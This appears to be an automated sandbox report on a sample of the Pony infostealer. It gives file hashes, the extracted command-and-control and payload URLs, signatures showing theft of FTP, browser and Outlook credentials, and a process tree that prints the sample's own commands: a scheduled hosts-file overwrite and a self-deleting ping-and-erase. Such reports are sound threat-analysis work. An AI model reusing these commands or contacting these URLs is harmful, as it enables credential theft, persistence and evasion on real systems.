Analysis
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max time kernel
73s -
max time network
67s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
03/10/2022, 13:35
Static task
static1
Behavioral task
behavioral1
Sample
c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe
Resource
win7-20220812-en
General
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Target
c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe
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Size
93KB
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MD5
627e84d98aec9139af4ebe726e296370
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SHA1
f3e6e7339f27df92074acae8cae8d89e52d2e7a4
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SHA256
c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383
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SHA512
a9cc4bc22b4b82daa6bd5710908e0f8ec63a88c71b185581c5a95be3667462aba77494109d4b4e5e4634f7dae225bfc7ee82baafd51fa55462717f01f1d9d058
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SSDEEP
1536:XaYRNgAK2A5Kj2WcMG6VoJxsRJ71pHFKQP0V0IIXmg2ilorsGcUQED1cuBgs:q4NL9XjjVoEJ71pzu0IIgiumuB
Malware Config
Extracted
pony
http://kurtst.pw:4915/doc/black.php
http://kurtst.pw:888/doc/black.php
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payload_url
http://kytrus.pw:888/pic/Flash.exe
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Deletes itself 1 IoCs
pid Process 1784 cmd.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 108 PING.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeTcbPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeChangeNotifyPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeCreateTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeBackupPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeRestorePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeIncreaseQuotaPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeAssignPrimaryTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeImpersonatePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeTcbPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeChangeNotifyPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeCreateTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeBackupPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeRestorePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeIncreaseQuotaPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeAssignPrimaryTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeImpersonatePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeTcbPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeChangeNotifyPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeCreateTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeBackupPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeRestorePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeIncreaseQuotaPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeAssignPrimaryTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeImpersonatePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeTcbPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeChangeNotifyPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeCreateTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeBackupPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeRestorePrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeIncreaseQuotaPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe Token: SeAssignPrimaryTokenPrivilege 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1044 wrote to memory of 524 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 29 PID 1044 wrote to memory of 524 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 29 PID 1044 wrote to memory of 524 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 29 PID 1044 wrote to memory of 524 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 29 PID 1044 wrote to memory of 1784 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 30 PID 1044 wrote to memory of 1784 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 30 PID 1044 wrote to memory of 1784 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 30 PID 1044 wrote to memory of 1784 1044 c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe 30 PID 1784 wrote to memory of 108 1784 cmd.exe 33 PID 1784 wrote to memory of 108 1784 cmd.exe 33 PID 1784 wrote to memory of 108 1784 cmd.exe 33 PID 1784 wrote to memory of 108 1784 cmd.exe 33 PID 524 wrote to memory of 1568 524 cmd.exe 34 PID 524 wrote to memory of 1568 524 cmd.exe 34 PID 524 wrote to memory of 1568 524 cmd.exe 34 PID 524 wrote to memory of 1568 524 cmd.exe 34 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe"C:\Users\Admin\AppData\Local\Temp\c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe"1⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1044 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 17:32:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7137466aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\SysWOW64\at.exeat 17:32:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7137466aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵PID:1568
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 6 localhost && erase "C:\Users\Admin\AppData\Local\Temp\c64846e63dad812b8c22be849e6d2f221e00b87067bd2a86d48b24f52d51b383.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\SysWOW64\PING.EXEping -n 6 localhost3⤵
- Runs ping.exe
PID:108
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